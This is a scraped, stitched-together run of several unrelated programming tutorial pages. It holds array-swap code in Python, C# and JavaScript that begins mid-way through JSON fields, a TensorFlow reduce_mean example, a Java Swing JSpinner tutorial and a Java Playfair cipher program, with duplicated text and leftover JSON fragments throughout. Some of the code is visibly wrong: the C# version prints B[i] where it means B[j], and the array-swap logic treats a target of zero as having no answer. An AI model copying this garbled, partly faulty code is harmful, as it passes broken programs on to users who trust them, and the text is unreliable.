sum=0 for i in X: sum+=i return sum # Finds value of# a - b = (sumA - sumB) / 2def getTarget(A,B): # Calculations of sumd from both lists sum1=getSum(A) sum2=getSum(B) # Because that target must be an integer if( (sum1-sum2)%2!=0): return 0 return (sum1-sum2)//2 # Prints elements to be swappeddef findSwapValues(A,B): # Call for sorting the lists A.sort() B.sort() #Note that target can be negative target=getTarget(A,B) # target 0 means, answer is not possible if(target==0): return i,j=0,0 while(i<len(A) and j<len(B)): diff=A[i]-B[j] if diff == target: print (A[i],B[j]) return # Look for a greater value in list A elif diff <target: i+=1 # Look for a greater value in list B else: j+=1 A=[4,1,2,1,1,2]B=[3,6,3,3] findSwapValues(A,B) #code contributed by sachin bisht", "e": 47783, "s": 46757, "text": null }, { "code": "// C# code for optimized implementationusing System; class GFG{ // Function to calculate sum of elements of array static int getSum(int []X, int n) { int sum = 0; for (int i = 0; i < n; i++) sum += X[i]; return sum; } // Function to calculate : a - b = (sumA - sumB) / 2 static int getTarget(int []A, int n, int []B, int m) { // Calculation of sums from both arrays int sum1 = getSum(A, n); int sum2 = getSum(B, m); // because that the target must be an integer if ((sum1 - sum2) % 2 != 0) return 0; return ((sum1 - sum2) / 2); } // Function to prints elements to be swapped static void findSwapValues(int []A, int n, int []B, int m) { // Call for sorting the arrays Array.Sort(A); Array.Sort(B); // Note that target can be negative int target = getTarget(A, n, B, m); // target 0 means, answer is not possible if (target == 0) return; int i = 0, j = 0; while (i < n && j < m) { int diff = A[i] - B[j]; if (diff == target) { Console.WriteLine(A[i]+\" \"+B[i]); return; } // Look for a greater value in A[] else if (diff < target) i++; // Look for a greater value in B[] else j++; } } // Driver code public static void Main (String[] args) { int []A = { 4, 1, 2, 1, 1, 2 }; int n = A.Length; int []B = { 3, 6, 3, 3 }; int m = B.Length; // Call to function findSwapValues(A, n, B, m); }} // This code has been contributed by 29AjayKumar", "e": 49549, "s": 47783, "text": null }, { "code": "<script>// Javascript code for optimized implementation // Function to calculate sum of elements of arrayfunction getSum(X,n){ let sum = 0; for (let i = 0; i < n; i++) sum += X[i]; return sum;} // Function to calculate : a - b = (sumA - sumB) / 2function getTarget(A,n,B,m){ // Calculation of sums from both arrays let sum1 = getSum(A, n); let sum2 = getSum(B, m); // because that the target must be an integer if ((sum1 - sum2) % 2 != 0) return 0; return ((sum1 - sum2) / 2);} // Function to prints elements to be swappedfunction findSwapValues(A,n,B,m){ // Call for sorting the arrays A.sort(function(a,b){return a-b;}); B.sort(function(a,b){return a-b;}); // Note that target can be negative let target = getTarget(A, n, B, m); // target 0 means, answer is not possible if (target == 0) return; let i = 0, j = 0; while (i < n && j < m) { let diff = A[i] - B[j]; if (diff == target) { document.write(A[i]+\" \"+B[j]); return; } // Look for a greater value in A[] else if (diff < target) i++; // Look for a greater value in B[] else j++; }} // driver programlet A=[4, 1, 2, 1, 1, 2 ];let n = A.length;let B=[3, 6, 3, 3 ];let m = B.length;// Call to functionfindSwapValues(A, n, B, m); // This code is contributed by unknown2108</script>", "e": 51142, "s": 49549, "text": null }, { "code": null, "e": 51146, "s": 51142, "text": "2 3" }, { "code": null, "e": 51361, "s": 51146, "text": "Time Complexity :- If arrays are sorted : O(n + m) If arrays aren’t sorted : O(nlog(n) + mlog(m)) Method 4 (Hashing) We can solve this problem in O(m+n) time and O(m) auxiliary space. Below are algorithmic steps. " }, { "code": null, "e": 51876, "s": 51361, "text": "// assume array1 is small i.e. (m < n)\n// where m is array1.length and n is array2.length\n1. Find sum1(sum of small array elements) ans sum2\n (sum of larger array elements). // time O(m+n)\n2. Make a hashset for small array(here array1).\n3. Calculate diff as (sum1-sum2)/2.\n4. Run a loop for array2\n for (int i equal to 0 to n-1)\n if (hashset contains (array2[i]+diff))\n print array2[i]+diff and array2[i]\n set flag and break;\n5. If flag is unset then there is no such kind of \npair." }, { "code": null, "e": 52365, "s": 51876, "text": "Thanks to nicky khan for suggesting method 4.This article is contributed by Sakshi Tiwari. If you like GeeksforGeeks (We know you do!) and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. " }, { "code": null, "e": 52383, "s": 52365, "text": "Another Approach:" }, { "code": null, "e": 52904, "s": 52383, "text": "We can also solve this problem in linear time using hashing. Let us assume that sum of the elements of the first array a[] is s1, and of the second array b[] is s2. Also suppose that a pair to be swapped is (p, q), where p belongs to a[] and q belongs to b[]. Therefore, we have the equation s1 – p + q = s2 – q + p, i.e. 2q = s2 – s1 + 2p. Since both 2p and 2q are even integers, the difference s2 – s1 must be an even integer too. So, given any p, our aim is to find an appropriate q satisfying the above conditions. " }, { "code": null, "e": 52953, "s": 52904, "text": "Below is an implementation of the said approach:" }, { "code": null, "e": 52957, "s": 52953, "text": "C++" }, { "code": "#include <bits/stdc++.h>using namespace std;void findSwapValues(int a[], int m, int b[], int n);int main(){ int a[] = { 4, 1, 2, 1, 1, 2 }, b[] = { 1, 6, 3, 3 }; int m, n; m = sizeof(a) / sizeof(int), n = sizeof(b) / sizeof(int); findSwapValues(a, m, b, n); return 0;}void findSwapValues(int a[], int m, int b[], int n){ unordered_set<int> x, y; /* Unordered sets (and unordered maps) are implemented internally using hash tables; they support dictionary operations (i.e. search, insert, delete) in O(1) time on an average. */ unordered_set<int>::iterator p, q; int s1, s2; int i; s1 = 0; for (i = 0; i < m; i++) /* Determining sum s1 of the elements of array a[], and simultaneously inserting the array elements in the unordered set. */ s1 += a[i], x.insert(a[i]); s2 = 0; for (i = 0; i < n; i++) s2 += b[i], y.insert(b[i]); if ((s1 - s2) % 2) /* Checking if difference between the two array sums is even or not. */ { printf(\"No such values exist.\\n\"); return; } for (p = x.begin(); p != x.end(); p++) { q = y.find( ((s2 - s1) + 2 * *p) / 2); // Finding q for a given p in O(1) time. if (q != y.end()) { printf(\"%d %d\\n\", *p, *q); return; } } printf(\"No such values exist.\\n\");}", "e": 54446, "s": 52957, "text": null }, { "code": null, "e": 54450, "s": 54446, "text": "2 3" }, { "code": null, "e": 54702, "s": 54450, "text": "Time complexity of the above code is O(m + n), where m and n respectively represent the sizes of the two input arrays, and space complexity O(s + t), where s and t respectively represent the number of distinct elements present in the two input arrays." }, { "code": null, "e": 54708, "s": 54702, "text": "ukasp" }, { "code": null, "e": 54721, "s": 54708, "text": "Akanksha_Rai" }, { "code": null, "e": 54735, "s": 54721, "text": "princiraj1992" }, { "code": null, "e": 54747, "s": 54735, "text": "29AjayKumar" }, { "code": null, "e": 54768, "s": 54747, "text": "avanitrachhadiya2155" }, { "code": null, "e": 54784, "s": 54768, "text": "arghyamukherjee" }, { "code": null, "e": 54791, "s": 54784, "text": "ab2127" }, { "code": null, "e": 54803, "s": 54791, "text": "unknown2108" }, { "code": null, "e": 54820, "s": 54803, "text": "surinderdawra388" }, { "code": null, "e": 54833, "s": 54820, "text": "simmytarika5" }, { "code": null, "e": 54849, "s": 54833, "text": "amartyaghoshgfg" }, { "code": null, "e": 54856, "s": 54849, "text": "Amazon" }, { "code": null, "e": 54863, "s": 54856, "text": "Arrays" }, { "code": null, "e": 54868, "s": 54863, "text": "Hash" }, { "code": null, "e": 54876, "s": 54868, "text": "Sorting" }, { "code": null, "e": 54883, "s": 54876, "text": "Amazon" }, { "code": null, "e": 54890, "s": 54883, "text": "Arrays" }, { "code": null, "e": 54895, "s": 54890, "text": "Hash" }, { "code": null, "e": 54903, "s": 54895, "text": "Sorting" }, { "code": null, "e": 55001, "s": 54903, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 55069, "s": 55001, "text": "Maximum and minimum of an array using minimum number of comparisons" }, { "code": null, "e": 55113, "s": 55069, "text": "Top 50 Array Coding Problems for Interviews" }, { "code": null, "e": 55161, "s": 55113, "text": "Stack Data Structure (Introduction and Program)" }, { "code": null, "e": 55184, "s": 55161, "text": "Introduction to Arrays" }, { "code": null, "e": 55216, "s": 55184, "text": "Multidimensional Arrays in Java" }, { "code": null, "e": 55301, "s": 55216, "text": "Given an array A[] and a number x, check for pair in A[] with sum as x (aka Two Sum)" }, { "code": null, "e": 55337, "s": 55301, "text": "Internal Working of HashMap in Java" }, { "code": null, "e": 55364, "s": 55337, "text": "Count pairs with given sum" }, { "code": null, "e": 55395, "s": 55364, "text": "Hashing | Set 1 (Introduction)" } ]
Python - tensorflow.math.reduce_mean() - GeeksforGeeks
11 Aug, 2021 TensorFlow is open-source Python library designed by Google to develop Machine Learning models and deep learning neural networks. reduce_mean() is used to find mean of elements across dimensions of a tensor. Syntax: tensorflow.math.reduce_mean( input_tensor, axis, keepdims, name) Parameters: input_tensor: It is numeric tensor to reduce. axis(optional): It represent the dimensions to reduce. It’s value should be in range [-rank(input_tensor), rank(input_tensor)). If no value is given for this all dimensions are reduced. keepdims(optional): It’s default value is False. If it’s set to True it will retain the reduced dimension with length 1. name(optional): It defines the name for the operation. Returns: It returns a tensor. Example 1: Python3 # importing the libraryimport tensorflow as tf # Initializing the input tensora = tf.constant([1, 2, 3, 4], dtype = tf.float64) # Printing the input tensorprint('Input: ', a) # Calculating resultres = tf.math.reduce_mean(a) # Printing the resultprint('Result: ', res) Output: Input: tf.Tensor([1. 2. 3. 4.], shape=(4, ), dtype=float64) Result: tf.Tensor(2.5, shape=(), dtype=float64) Example 2: Python3 # importing the libraryimport tensorflow as tf # Initializing the input tensora = tf.constant([[1, 2], [3, 4]], dtype = tf.float64) # Printing the input tensorprint('Input: ', a) # Calculating resultres = tf.math.reduce_mean(a, axis = 1, keepdims = True) # Printing the resultprint('Result: ', res) Output: Input: tf.Tensor( [[1. 2.] [3. 4.]], shape=(2, 2), dtype=float64) Result: tf.Tensor( [[1.5] [3.5]], shape=(2, 1), dtype=float64) varshagumber28 Python Tensorflow-math-functions Python-Tensorflow Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to Install PIP on Windows ? Check if element exists in list in Python How To Convert Python Dictionary To JSON? How to drop one or multiple columns in Pandas Dataframe Python Classes and Objects Python | Get unique values from a list Python | os.path.join() method Defaultdict in Python Create a directory in Python Python | Pandas dataframe.groupby()
[ { "code": null, "e": 25537, "s": 25509, "text": "\n11 Aug, 2021" }, { "code": null, "e": 25668, "s": 25537, "text": "TensorFlow is open-source Python library designed by Google to develop Machine Learning models and deep learning neural networks." }, { "code": null, "e": 25746, "s": 25668, "text": "reduce_mean() is used to find mean of elements across dimensions of a tensor." }, { "code": null, "e": 25819, "s": 25746, "text": "Syntax: tensorflow.math.reduce_mean( input_tensor, axis, keepdims, name)" }, { "code": null, "e": 25831, "s": 25819, "text": "Parameters:" }, { "code": null, "e": 25877, "s": 25831, "text": "input_tensor: It is numeric tensor to reduce." }, { "code": null, "e": 26064, "s": 25877, "text": "axis(optional): It represent the dimensions to reduce. It’s value should be in range [-rank(input_tensor), rank(input_tensor)). If no value is given for this all dimensions are reduced." }, { "code": null, "e": 26185, "s": 26064, "text": "keepdims(optional): It’s default value is False. If it’s set to True it will retain the reduced dimension with length 1." }, { "code": null, "e": 26240, "s": 26185, "text": "name(optional): It defines the name for the operation." }, { "code": null, "e": 26270, "s": 26240, "text": "Returns: It returns a tensor." }, { "code": null, "e": 26281, "s": 26270, "text": "Example 1:" }, { "code": null, "e": 26289, "s": 26281, "text": "Python3" }, { "code": "# importing the libraryimport tensorflow as tf # Initializing the input tensora = tf.constant([1, 2, 3, 4], dtype = tf.float64) # Printing the input tensorprint('Input: ', a) # Calculating resultres = tf.math.reduce_mean(a) # Printing the resultprint('Result: ', res)", "e": 26557, "s": 26289, "text": null }, { "code": null, "e": 26565, "s": 26557, "text": "Output:" }, { "code": null, "e": 26675, "s": 26565, "text": "Input: tf.Tensor([1. 2. 3. 4.], shape=(4, ), dtype=float64)\nResult: tf.Tensor(2.5, shape=(), dtype=float64)" }, { "code": null, "e": 26686, "s": 26675, "text": "Example 2:" }, { "code": null, "e": 26694, "s": 26686, "text": "Python3" }, { "code": "# importing the libraryimport tensorflow as tf # Initializing the input tensora = tf.constant([[1, 2], [3, 4]], dtype = tf.float64) # Printing the input tensorprint('Input: ', a) # Calculating resultres = tf.math.reduce_mean(a, axis = 1, keepdims = True) # Printing the resultprint('Result: ', res)", "e": 26993, "s": 26694, "text": null }, { "code": null, "e": 27001, "s": 26993, "text": "Output:" }, { "code": null, "e": 27134, "s": 27001, "text": "Input: tf.Tensor(\n[[1. 2.]\n [3. 4.]], shape=(2, 2), dtype=float64)\nResult: tf.Tensor(\n[[1.5]\n [3.5]], shape=(2, 1), dtype=float64)" }, { "code": null, "e": 27149, "s": 27134, "text": "varshagumber28" }, { "code": null, "e": 27182, "s": 27149, "text": "Python Tensorflow-math-functions" }, { "code": null, "e": 27200, "s": 27182, "text": "Python-Tensorflow" }, { "code": null, "e": 27207, "s": 27200, "text": "Python" }, { "code": null, "e": 27305, "s": 27207, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27337, "s": 27305, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 27379, "s": 27337, "text": "Check if element exists in list in Python" }, { "code": null, "e": 27421, "s": 27379, "text": "How To Convert Python Dictionary To JSON?" }, { "code": null, "e": 27477, "s": 27421, "text": "How to drop one or multiple columns in Pandas Dataframe" }, { "code": null, "e": 27504, "s": 27477, "text": "Python Classes and Objects" }, { "code": null, "e": 27543, "s": 27504, "text": "Python | Get unique values from a list" }, { "code": null, "e": 27574, "s": 27543, "text": "Python | os.path.join() method" }, { "code": null, "e": 27596, "s": 27574, "text": "Defaultdict in Python" }, { "code": null, "e": 27625, "s": 27596, "text": "Create a directory in Python" } ]
Java Swing | JSpinner - GeeksforGeeks
06 Jul, 2021 JSpinner is a part of javax.swing package. JSpinner contains a single line of input which might be a number or a object from an ordered sequence. The user can manually type in a legal data into the text field of the spinner. The spinner is sometimes preferred because they do not need a drop down list. Spinners contain an upward and a downward arrow to show the previous and the next element when it is pressed. Constructors of JSpinner are: JSpinner(): Creates an empty spinner with an initial value set to zero and no constraints.JSpinner( SpinnerModel model): Creates a spinner with a specified spinner model passed as an argument. JSpinner(): Creates an empty spinner with an initial value set to zero and no constraints. JSpinner( SpinnerModel model): Creates a spinner with a specified spinner model passed as an argument. Commonly used methods are : SpinnerListModel(List l): creates a spinner model with elements of list l. This spinner model can be used to set as a model for spinner.SpinnerNumberModel(int value, int max, int min, int step): returns a spinner model whose initial value is set to value, with minimum and maximum value, and a definite step value.setValue(Object v): sets the value of the spinner to the object passed as argument.getValue(): returns the current value of the spinner.getPreviousValue(): returns the previous value of the spinner.getNextValue(): returns the next value of the spinner. SpinnerListModel(List l): creates a spinner model with elements of list l. This spinner model can be used to set as a model for spinner. SpinnerNumberModel(int value, int max, int min, int step): returns a spinner model whose initial value is set to value, with minimum and maximum value, and a definite step value. setValue(Object v): sets the value of the spinner to the object passed as argument. getValue(): returns the current value of the spinner. getPreviousValue(): returns the previous value of the spinner. getNextValue(): returns the next value of the spinner. 1. Program to create a simple JSpinner Java // java Program to create a// simple JSpinnerimport java.awt.event.*;import javax.swing.*;import java.awt.*;class spinner extends JFrame { // frame static JFrame f; // default constructor spinner() { } // main class public static void main(String[] args) { // create a new frame f = new JFrame("spinner"); // create a JSpinner JSpinner s = new JSpinner(); // set Bounds for spinner s.setBounds(70, 70, 50, 40); // set layout for frame f.setLayout(null); // add panel to frame f.add(s); // set frame size f.setSize(300, 300); f.show(); }} Output : 2. Program to create a JSpinner and add ChangeListener to it; Program to select your date of birth using JSpinner. Java // Java program to select your// date of birth using JSpinnerimport java.awt.event.*;import javax.swing.*;import java.awt.*;import javax.swing.event.*;class spinner1 extends JFrame implements ChangeListener { // frame static JFrame f; // label static JLabel l, l1; // spinner static JSpinner s, s1, s2; // default constructor spinner1() { } // main class public static void main(String[] args) { // create an object of the class spinner1 sp1 = new spinner1(); // create a new frame f = new JFrame("spinner"); // create a label l = new JLabel("select your date of birth"); l1 = new JLabel("1 January 2000"); // create a JSpinner with a minimum, maximum and step value s = new JSpinner(); s1 = new JSpinner(new SpinnerNumberModel(1, 1, 31, 1)); // setvalue of year s.setValue(2000); // store the months String months[] = { "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "Novemeber", "December" }; // create a JSpinner with list values s2 = new JSpinner(new SpinnerListModel(months)); // add change listener to spinner s.addChangeListener(sp1); s1.addChangeListener(sp1); s2.addChangeListener(sp1); // set Bounds for spinner s.setBounds(70, 70, 50, 40); s1.setBounds(70, 130, 50, 40); s2.setBounds(70, 200, 90, 40); // setbounds for label l.setBounds(10, 10, 150, 20); l1.setBounds(10, 300, 150, 20); // set layout for frame f.setLayout(null); // add label f.add(l); f.add(l1); f.add(s); f.add(s1); f.add(s2); // add panel to frame f.add(s); // set frame size f.setSize(400, 400); f.show(); } // if the state is changed public void stateChanged(ChangeEvent e) { l1.setText(s1.getValue() + " " + s2.getValue() + " " + s.getValue()); }} Output : Note: This program will not run in an online compiler please use an Offline IDE. rajeev0719singh java-swing Java Java Programs Programming Language Java Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Stream In Java Constructors in Java Exceptions in Java Functional Interfaces in Java Different ways of Reading a text file in Java Java Programming Examples Convert Double to Integer in Java Implementing a Linked List in Java using Class How to Iterate HashMap in Java? Program to print ASCII Value of a character
[ { "code": null, "e": 25225, "s": 25197, "text": "\n06 Jul, 2021" }, { "code": null, "e": 25638, "s": 25225, "text": "JSpinner is a part of javax.swing package. JSpinner contains a single line of input which might be a number or a object from an ordered sequence. The user can manually type in a legal data into the text field of the spinner. The spinner is sometimes preferred because they do not need a drop down list. Spinners contain an upward and a downward arrow to show the previous and the next element when it is pressed." }, { "code": null, "e": 25669, "s": 25638, "text": "Constructors of JSpinner are: " }, { "code": null, "e": 25862, "s": 25669, "text": "JSpinner(): Creates an empty spinner with an initial value set to zero and no constraints.JSpinner( SpinnerModel model): Creates a spinner with a specified spinner model passed as an argument." }, { "code": null, "e": 25953, "s": 25862, "text": "JSpinner(): Creates an empty spinner with an initial value set to zero and no constraints." }, { "code": null, "e": 26056, "s": 25953, "text": "JSpinner( SpinnerModel model): Creates a spinner with a specified spinner model passed as an argument." }, { "code": null, "e": 26084, "s": 26056, "text": "Commonly used methods are :" }, { "code": null, "e": 26651, "s": 26084, "text": "SpinnerListModel(List l): creates a spinner model with elements of list l. This spinner model can be used to set as a model for spinner.SpinnerNumberModel(int value, int max, int min, int step): returns a spinner model whose initial value is set to value, with minimum and maximum value, and a definite step value.setValue(Object v): sets the value of the spinner to the object passed as argument.getValue(): returns the current value of the spinner.getPreviousValue(): returns the previous value of the spinner.getNextValue(): returns the next value of the spinner." }, { "code": null, "e": 26788, "s": 26651, "text": "SpinnerListModel(List l): creates a spinner model with elements of list l. This spinner model can be used to set as a model for spinner." }, { "code": null, "e": 26967, "s": 26788, "text": "SpinnerNumberModel(int value, int max, int min, int step): returns a spinner model whose initial value is set to value, with minimum and maximum value, and a definite step value." }, { "code": null, "e": 27051, "s": 26967, "text": "setValue(Object v): sets the value of the spinner to the object passed as argument." }, { "code": null, "e": 27105, "s": 27051, "text": "getValue(): returns the current value of the spinner." }, { "code": null, "e": 27168, "s": 27105, "text": "getPreviousValue(): returns the previous value of the spinner." }, { "code": null, "e": 27223, "s": 27168, "text": "getNextValue(): returns the next value of the spinner." }, { "code": null, "e": 27262, "s": 27223, "text": "1. Program to create a simple JSpinner" }, { "code": null, "e": 27267, "s": 27262, "text": "Java" }, { "code": "// java Program to create a// simple JSpinnerimport java.awt.event.*;import javax.swing.*;import java.awt.*;class spinner extends JFrame { // frame static JFrame f; // default constructor spinner() { } // main class public static void main(String[] args) { // create a new frame f = new JFrame(\"spinner\"); // create a JSpinner JSpinner s = new JSpinner(); // set Bounds for spinner s.setBounds(70, 70, 50, 40); // set layout for frame f.setLayout(null); // add panel to frame f.add(s); // set frame size f.setSize(300, 300); f.show(); }}", "e": 27935, "s": 27267, "text": null }, { "code": null, "e": 27945, "s": 27935, "text": "Output : " }, { "code": null, "e": 28060, "s": 27945, "text": "2. Program to create a JSpinner and add ChangeListener to it; Program to select your date of birth using JSpinner." }, { "code": null, "e": 28065, "s": 28060, "text": "Java" }, { "code": "// Java program to select your// date of birth using JSpinnerimport java.awt.event.*;import javax.swing.*;import java.awt.*;import javax.swing.event.*;class spinner1 extends JFrame implements ChangeListener { // frame static JFrame f; // label static JLabel l, l1; // spinner static JSpinner s, s1, s2; // default constructor spinner1() { } // main class public static void main(String[] args) { // create an object of the class spinner1 sp1 = new spinner1(); // create a new frame f = new JFrame(\"spinner\"); // create a label l = new JLabel(\"select your date of birth\"); l1 = new JLabel(\"1 January 2000\"); // create a JSpinner with a minimum, maximum and step value s = new JSpinner(); s1 = new JSpinner(new SpinnerNumberModel(1, 1, 31, 1)); // setvalue of year s.setValue(2000); // store the months String months[] = { \"January\", \"February\", \"March\", \"April\", \"May\", \"June\", \"July\", \"August\", \"September\", \"October\", \"Novemeber\", \"December\" }; // create a JSpinner with list values s2 = new JSpinner(new SpinnerListModel(months)); // add change listener to spinner s.addChangeListener(sp1); s1.addChangeListener(sp1); s2.addChangeListener(sp1); // set Bounds for spinner s.setBounds(70, 70, 50, 40); s1.setBounds(70, 130, 50, 40); s2.setBounds(70, 200, 90, 40); // setbounds for label l.setBounds(10, 10, 150, 20); l1.setBounds(10, 300, 150, 20); // set layout for frame f.setLayout(null); // add label f.add(l); f.add(l1); f.add(s); f.add(s1); f.add(s2); // add panel to frame f.add(s); // set frame size f.setSize(400, 400); f.show(); } // if the state is changed public void stateChanged(ChangeEvent e) { l1.setText(s1.getValue() + \" \" + s2.getValue() + \" \" + s.getValue()); }}", "e": 30123, "s": 28065, "text": null }, { "code": null, "e": 30133, "s": 30123, "text": "Output : " }, { "code": null, "e": 30215, "s": 30133, "text": "Note: This program will not run in an online compiler please use an Offline IDE. " }, { "code": null, "e": 30231, "s": 30215, "text": "rajeev0719singh" }, { "code": null, "e": 30242, "s": 30231, "text": "java-swing" }, { "code": null, "e": 30247, "s": 30242, "text": "Java" }, { "code": null, "e": 30261, "s": 30247, "text": "Java Programs" }, { "code": null, "e": 30282, "s": 30261, "text": "Programming Language" }, { "code": null, "e": 30287, "s": 30282, "text": "Java" }, { "code": null, "e": 30385, "s": 30287, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 30400, "s": 30385, "text": "Stream In Java" }, { "code": null, "e": 30421, "s": 30400, "text": "Constructors in Java" }, { "code": null, "e": 30440, "s": 30421, "text": "Exceptions in Java" }, { "code": null, "e": 30470, "s": 30440, "text": "Functional Interfaces in Java" }, { "code": null, "e": 30516, "s": 30470, "text": "Different ways of Reading a text file in Java" }, { "code": null, "e": 30542, "s": 30516, "text": "Java Programming Examples" }, { "code": null, "e": 30576, "s": 30542, "text": "Convert Double to Integer in Java" }, { "code": null, "e": 30623, "s": 30576, "text": "Implementing a Linked List in Java using Class" }, { "code": null, "e": 30655, "s": 30623, "text": "How to Iterate HashMap in Java?" } ]
Java Program to Implement Playfair Cipher Algorithm - GeeksforGeeks
11 Nov, 2021 Cipher is an algorithm for encryption and decryption. The cipher text is a process that applies to different types of algorithms to convert plain text to coded text. It is referred to as ciphertext. The Playfair cipher was the first practical digraph substitution cipher. The scheme was invented in 1854 by Charles Wheatstone but was named after Lord Playfair who promoted the use of the cipher. In Playfair cipher unlike traditional cipher, we encrypt a pair of alphabets(digraphs) instead of a single alphabet. It was used for tactical purposes by British forces in the Second Boer War and in World War I and for the same purpose by the Australians during World War II. This was because Playfair is reasonably fast to use and requires no special equipment. Algorithm: Create a matrix of 5 cross 5 is made in which all the alphabet of English letters is placed in it. Now, you must be wondering that there are 26 alphabets while the matrix is only having 25 cells. To resolve it alphabets ‘i’ and ‘j’ are placed into a single cell.Now insert the key and put the remaining alphabets in the matrix. The matrix is made by inserting the value of the key and remaining alphabets into the matrix row-wise from left to right.Convert the text into pairs of alphabets keeping in mind no two alphabets should repeat consecutively. For example: ‘code’ is written as ‘co’,’de’If the letter is repeating then add ‘x’ to make as many pair sets as many times the alphabet is repeating. For example: ‘helloh’ is written as ‘he’ ‘lx‘, ‘lx‘, ‘oh’. Here letter ‘l’ was consecutive for 2 times hence two sets and two additions of ‘x”sNow if after breakdown into pairs, a letter is left alone add ‘z’ to the letter just like we have added ‘x’. For example: ‘hello’ is written as ‘he’ ‘lx’, ‘lx’, ‘oz‘Solve the matrix or forming code using 3 standard rulesIf both the alphabet are in the same row, replace them with alphabets to their immediate right.If both the alphabets are in the same column, replace them with alphabets immediately below them.If not in the same row or column, replace them with alphabets in the same row respectively, but at other pair of corners Create a matrix of 5 cross 5 is made in which all the alphabet of English letters is placed in it. Now, you must be wondering that there are 26 alphabets while the matrix is only having 25 cells. To resolve it alphabets ‘i’ and ‘j’ are placed into a single cell. Now insert the key and put the remaining alphabets in the matrix. The matrix is made by inserting the value of the key and remaining alphabets into the matrix row-wise from left to right. Convert the text into pairs of alphabets keeping in mind no two alphabets should repeat consecutively. For example: ‘code’ is written as ‘co’,’de’ If the letter is repeating then add ‘x’ to make as many pair sets as many times the alphabet is repeating. For example: ‘helloh’ is written as ‘he’ ‘lx‘, ‘lx‘, ‘oh’. Here letter ‘l’ was consecutive for 2 times hence two sets and two additions of ‘x”s Now if after breakdown into pairs, a letter is left alone add ‘z’ to the letter just like we have added ‘x’. For example: ‘hello’ is written as ‘he’ ‘lx’, ‘lx’, ‘oz‘ Solve the matrix or forming code using 3 standard rulesIf both the alphabet are in the same row, replace them with alphabets to their immediate right.If both the alphabets are in the same column, replace them with alphabets immediately below them.If not in the same row or column, replace them with alphabets in the same row respectively, but at other pair of corners If both the alphabet are in the same row, replace them with alphabets to their immediate right. If both the alphabets are in the same column, replace them with alphabets immediately below them. If not in the same row or column, replace them with alphabets in the same row respectively, but at other pair of corners Illustration: Implementation: Generate the key Square(5×5) Encrypt the Plaintext Example Java // Java Program for Playfair Cipher Algorithm // Importing all utility classesimport java.util.*; // Main classpublic class Main { // Removing the duplicate values from the key static String removeDuplicate(String s) { int j, index = 0, len = s.length(); char c[] = s.toCharArray(); for (int i = 0; i < len; i++) { for (j = 0; j < i; j++) { if (c[i] == c[j]) break; } if (i == j) c[index++] = c[i]; } s = new String((Arrays.copyOf(c, index))); return s; } // Method 1 // Removing the white spaces from string 'st' // which was replaced by the key as space. static String removeWhiteSpace(char[] ch, String key) { char[] c = key.toCharArray(); // removing character which are input by the user // from string st for (int i = 0; i < c.length; i++) { for (int j = 0; j < ch.length; j++) { if (c[i] == ch[j]) c[i] = ' '; } } key = new String(c); key = key.replaceAll(" ", ""); return key; } // Method 2 // To make the pair for encryption in plaintext. static String makePair(String pt) { String s = ""; char c = 'a'; for (int i = 0; i < pt.length(); i++) { if (pt.charAt(i) == ' ') continue; else { c = pt.charAt(i); s += pt.charAt(i); } if (i < pt.length() - 1) if (pt.charAt(i) == pt.charAt(i + 1)) s += "x"; } // If plain text length is odd then // adding x to make length even. if (s.length() % 2 != 0) s += "x"; System.out.println(s); return s; } // Method 3 // To find the position of row and column in matrix // for encryption of the pair. static int[] findIJ(char a, char b, char x[][]) { int[] y = new int[4]; if (a == 'j') a = 'i'; else if (b == 'j') b = 'i'; for (int i = 0; i < 5; i++) { for (int j = 0; j < 5; j++) { if (x[i][j] == a) { y[0] = i; y[1] = j; } else if (x[i][j] == b) { y[2] = i; y[3] = j; } } } if (y[0] == y[2]) { y[1] += 1; y[3] += 1; } else if (y[1] == y[3]) { y[0] += 1; y[2] += 1; } for (int i = 0; i < 4; i++) y[i] %= 5; return y; } // Method 4 // To encrypt the plaintext static String encrypt(String pt, char x[][]) { char ch[] = pt.toCharArray(); int a[] = new int[4]; for (int i = 0; i < pt.length(); i += 2) { if (i < pt.length() - 1) { a = findIJ(pt.charAt(i), pt.charAt(i + 1), x); if (a[0] == a[2]) { ch[i] = x[a[0]][a[1]]; ch[i + 1] = x[a[0]][a[3]]; } else if (a[1] == a[3]) { ch[i] = x[a[0]][a[1]]; ch[i + 1] = x[a[2]][a[1]]; } else { ch[i] = x[a[0]][a[3]]; ch[i + 1] = x[a[2]][a[1]]; } } } pt = new String(ch); return pt; } // Method 5 // Main driver method public static void main(String[] args) { // Creating an Scanner clas object to // take input from user Scanner sc = new Scanner(System.in); String pt = "instruments"; // Key input String key = "monarchy"; key = removeDuplicate(key); char[] ch = key.toCharArray(); // Reading string array of Letters of english // alphabet as Playfair to implement String st = "abcdefghiklmnopqrstuvwxyz"; st = removeWhiteSpace(ch, st); char[] c = st.toCharArray(); // Matrix input using above key char[][] x = new char[5][5]; int indexOfSt = 0, indexOfKey = 0; for (int i = 0; i < 5; i++) { for (int j = 0; j < 5; j++) { if (indexOfKey < key.length()) x[i][j] = ch[indexOfKey++]; else x[i][j] = c[indexOfSt++]; } } // Printing Matrix for (int i = 0; i < 5; i++) { for (int j = 0; j < 5; j++) System.out.print(x[i][j] + " "); System.out.println(); } // For getting encrypted output // Calling makePair() method over object created in // main() pt = makePair(pt); // Calling makePair() method over object created in // main() pt = encrypt(pt, x); // Print and display in the console System.out.println(pt); }} m o n a r c h y b d e f g i k l p q s t u v w x z instrumentsx gatlmzclrqxa gabaa406 simmytarika5 sagartomar9927 abhishek0719kadiyan Java Java Programs Java Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Stream In Java Constructors in Java Exceptions in Java Functional Interfaces in Java Different ways of Reading a text file in Java Java Programming Examples Convert Double to Integer in Java Implementing a Linked List in Java using Class How to Iterate HashMap in Java? Program to print ASCII Value of a character
